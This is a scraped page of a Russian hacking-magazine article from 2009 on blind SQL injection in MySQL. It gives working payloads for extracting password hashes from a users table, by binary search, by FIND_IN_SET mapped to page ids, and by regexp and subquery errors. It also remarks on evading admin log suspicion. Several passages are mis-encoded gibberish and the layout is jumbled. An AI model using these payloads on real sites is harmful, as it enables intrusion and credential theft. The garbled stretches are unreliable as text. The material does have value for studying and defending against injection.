Views
3 years ago

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

НЕСЛУЧАЙНО CUDA ИДЕМ? phpMyAdmin - Xakep Online

взлом ОШИБКИ

взлом ОШИБКИ REGEXP В ИСХОДНЫХ КОДАХ MYSQL ФУНКЦИЯ FIND_IN_SET СОБСТВЕННОЙ ПЕРСОНОЙ ,5,6,7,8,9,a,b,c,d,e,f'); HTTP://WWW links • https://forum. antichat.ru/ thread43966.html — все о SQL Injection. • dev.mysql.com/ sources/doxygen/ mysql-5.1/ regerror_8c-source. html — исходники MySQL, отвечающие за отображение ошибок regexp. • dev.mysql.com/doc — документация по MySQL (рекомендую). • ru.wikipedia.org/ wiki/Двоичный_поиск — базовые алгоримы надо знать! WARNING warning Внимание! Информация представлена исключительно с целью ознакомления! Ни автор, ни редакция за твои действия ответственности не несут! 066 2. В БД находится символ: 'b'. Запускаем алгоритм: 1) Íàõîäèì ñåðåäèíó äèàïàçîíà [0,1,2,3,4,5,6,7, 8,9,a,b,c,d,e,f]; ñåðåäèíîé ÿâëÿåòñÿ ñèìâîë '8' 2) Ñðàâíèâàåì, – êîä ñèìâîëà 'b' áîëüøå èëè ìåíüøå, ÷åì êîä ñèìâîëà '8'? (øëåì çàïðîñ) 3) Êîä áîëüøå, ïîýòîìó íà ñëåäóþùóþ èòåðàöèþ óæå áåðåì äèàïàçîí [8,9,a,b,c,d,e,f]; ñåðåäèíîé ÿâëÿåòñÿ ñèìâîë 'ñ' 4) Ñðàâíèâàåì, – êîä ñèìâîëà 'b' áîëüøå èëè ìåíüøå, ÷åì êîä ñèìâîëà 'ñ'? (øëåì çàïðîñ) 5) Êîä ìåíüøå, ïîýòîìó íà ñëåäóþùóþ èòåðàöèþ áåðåì äèàïàçîí [8,9,a,b,c]; ñåðåäèíîé ÿâëÿåòñÿ ñèìâîë 'a' 6) Ñðàâíèâàåì, – êîä ñèìâîëà 'b' áîëüøå, ÷åì êîä ñèìâîëà 'a'? (øëåì çàïðîñ) 7) Êîä áîëüøå, ïîýòîìó íà ñëåäóþùóþ èòåðàöèþ áåðåì äèàïàçîí [a,b,c]; ñåðåäèíîé ÿâëÿåòñÿ ñèìâîë 'b' 8) Ñðàâíèâàåì, – êîä ñèìâîëà 'b' áîëüøå èëè ìåíüøå, ÷åì êîä ñèìâîëà 'b'? (øëåì çàïðîñ) 9) Êîä íè áîëüøå è íå ìåíüøå, çíà÷èò, ñèìâîë â ÁÄ = 'b' Таким образом, в зависимости от конкретной реализации алгоритма, мы отправляем до 5-6 запросов на определение символа. И это в худшем случае, так как символ может найтись и раньше. Итого получаем примерно 160-170 запросов на получение MD5-хеша. Уже лучше, но зачем останавливаться на достигнутом, если можно действовать еще быстрее? ИСПОЛЬЗОВАНИЕ FIND_IN_SET() И ПОДОБНЫХ ФУНКЦИЙ Функция find_in_set(str,strlist) используется для поиска подстроки среди списка строк, разделенных символом ',' и возвращает номер той строки из списка, которая равна переданному аргументу. То есть: mysql> SELECT FIND_IN_SET('b','a,b,c,d'); -> 2 Код символа из базы данных можно узнать при помощи запроса: select find_in_set((substring((select password from users limit 1),1,1)),'0,1,2,3,4 В результате мы получаем номер символа во множестве '0,1,2 ,3,4,5,6,7,8,9,a,b,c,d,e,f'. К примеру, для символа 'b', этот запрос вернет 12. А теперь подумаем, что же можно из этого выжать? Для того чтобы принять результаты запроса, мы должны как-то научиться принимать числа, являющиеся результатом. Но непосредственно при слепой SQL-инъекции мы этого сделать не можем. А что, если мы имеем дело с инъекцией, к примеру, в скрипте отображения новостей, и в зависимости от id, переданного скрипту, будем видеть разные странички? Тогда боевой запрос, нужный для получения символов из MD5, будет выглядеть вот так: news.php?id=find_in_set(substring((select passhash from users limit 0,1),1,1),'0,1,2,3, 4,5,6,7,8,9,a,b,c,d,e,f') Тогда, в зависимости от номера символа в строке '0,1,2,3,4,5,6,7 ,8,9,a,b,c,d,e,f', мы будем видеть новость с id, соответствующим символу пароля. Для удобства использования на практике нужно: 1) Âûäåëèòü êëþ÷åâûå ñëîâà íà ñòðàíèöàõ ñ íóæíûìè id 2) Îòïðàâèòü çàïðîñû ñ find_in_set äëÿ êàæäîãî ñèìâîëà èç ÁÄ 3) Âûÿñíèòü, ñòðàíèöó ñ êàêèì id ìû ïîëó÷èëè è âûâåñòè íà ýêðàí êîä ñèìâîëà То есть, для получения MD5-хеша нам потребуется выявить 16 страниц с уникальными id, по одной странице для каждого символа алфавита, а также отправить 32 запроса для определения значения каждого символа. В итоге, при использовании этого метода нам потребуется отправить всего 48 запросов на сервер, 16 из которых никакого подозрения читающего логи админа вызвать не могут. Изначально этот метод предложили +toxa+ и madnet. Они же заметили, что помимо функции find_in_set для реализации подобной атаки можно использовать функции LOCATE(),INSTR(),ASCII(),ORD(). Причем, ASCII() и ORD() даже предпочтительнее за счет того, что они присутствуют не только в MySQL. Способ работает быстро, но обладает рядом недостатков. К примеру, на сайте идентификаторы новостей могут быть распределены неравномерно, то есть скрипт приходится затачивать под каждый сайт индивидуально. Еще одной проблемой является то, что для большого количества символов в алфавите нужно большое количество уникальных страниц, которые не всегда присутствуют. В общем, мотаем на ус и двигаемся дальше. XÀÊÅÐ 07 /127/ 09

взлом ИСПОЛЬЗОВАНИЕ FIND_IN_SET() + MORE1ROW Если хорошенько поиграться с методом, предложенным выше, можно заметить, что все его минусы сводятся к тому, что далеко не на всех сайтах возможно получить достаточное количество различных страниц, зависящих от одного параметра. Решим эту проблему. Вспомним метод, предложенный Elekt'ом в ][ #111, который основан на использовании ошибки «Subquery returns more than 1 row».Суть метода заключается в том, чтобы заставить скрипт выводить ошибку SQL в зависимости от результата SQL-запроса. На данный момент, чтобы спровоцировать БД на вывод ошибки, наиболее часто используется запрос: SELECT 1 UNION SELECT 2 – который вернет ошибку: #1242 — Subquery returns more than 1 row ПРИМЕР ЭКСПЛОЙТА, НАПИСАННОГО ЯВНО НОВИЧКОМ Также ZaCo нашел альтернативный вариант запроса, который провоцирует БД на вывод ошибки в зависимости от условия: "x" regexp concat("x{1,25", if(@@version5, "5}", "6}") select 1 regexp if(1=1,'(',2) #1139 — Got error 'parentheses not balanced' from regexp INFO В том случае, если версия MySql не равна 5, этот запрос вернет ошибку: #1139 — Got error 'invalid repetition count(s)' from regexp. Немного порывшись в исходниках MySql и погуглив, можно найти еще 9 ошибок, которые возвращает неправильный regexp. Итого, от сервера мы можем получить 11 видов ошибок + 1 состояние, когда ошибки нет: SELECT 1 No error select if(1=1,(select 1 union select 2),2) #1242 — Subquery returns more than 1 row select 1 regexp if(1=1,"x{1,0}",2) #1139 — Got error 'invalid repetition count(s)' from regexp select 1 regexp if(1=1,"x{1,(",2) #1139 — Got error 'braces not balanced' from regexp select 1 regexp if(1=1,'[[:]]',2) #1139 — Got error 'invalid character class' from regexp select 1 regexp if(1=1,'[[',2) #1139 — Got error 'brackets ([ ]) not balanced' from regexp select 1 regexp if(1=1,'(({1}',2) #1139 — Got error 'repetition-operator operand invalid' from regexp select 1 regexp if(1=1,'',2) #1139 — Got error 'empty (sub)expression' from regexp XÀÊÅÐ 07 /127/ 09 select 1 regexp if(1=1,'[2-1]',2) #1139 — Got error 'invalid character range' from regexp select 1 regexp if(1=1,'[[.ch.]]',2) #1139 — Got error 'invalid collating element' from regexp select 1 regexp if(1=1,'\\',2) #1139 — Got error 'trailing backslash (\)' from regexp Пока просто примем это во внимание. Теперь самое время вспомнить о функции find_in_set. Если искомый символ есть во множестве подстрок, она вернет номер подстроки, если нет — вернет 0. Попробуем привязать результат работы этой функции к различным кодам ошибок и передадим вот такой запрос: select * from users where id=-1 AND "x" regexp concat("x{1,25", if( find_in_set( substring((select passwd from users where id=1),1,1), 'a,b,c,d,e,f,1,2,3,4,5,6' )>0, (select 1 union select 2), "6}" ) ) В результате, если первый символ пароля находится во множестве 'a,b,c,d,e,f,1,2,3,4,5,6', то запрос вернет: #1242 — Subquery returns more than 1 row А если не находится, то: #1139 — Got error 'invalid repetition info Большим преимущест вом последнего из перечисленных методов является то, что он с тем же успехом может работать и в INSERT, и в UPDATE запросах. DVD dvd На диске ты сможешь найти скрипты для работы с SQL-инъекциями с использованием описанных в статье методов. 067

ИюНь - Xakep Online
Скачать - Xakep Online
Май - Xakep Online
ЛУЧШИХ ВИРУСОВ - Xakep Online
Ноябрь - Xakep Online
7 ЧУДЕС KDE - Xakep Online
ЛЕГКИЙ ХАК - Xakep Online
УЧИМ КАКОценить сбалансированность системы ... - Xakep Online
КОНКУРС - Xakep Online
Январь - Xakep Online
JIT SPRAY АНАЛИЗ TDSS - Xakep Online
Скачать - Xakep Online
Офисное западло - Xakep Online
Untitled - Xakep Online
WebMoney - Xakep Online
Скачать - Xakep Online
ВЗЛОМ ИНТЕРНЕТ-МАГАЗИНА: - Xakep Online
Взлом GSM - Xakep Online
Много новогодних конкурсов Много новогодних ... - Xakep Online
Ноябрь - Xakep Online
c-лето ;) - Xakep Online
содержание 10 (59) - Xakep Online
с татьи - Xakep Online
2009 - Xakep Online
ЗАКАДРИ КАРДИНГ НАШИ ИДУТ! - Xakep Online
сишься, что левые трояны, вирусы и всякая про ... - Xakep Online
cамые лучшие материалы 1-4 номеров + вся ... - Xakep Online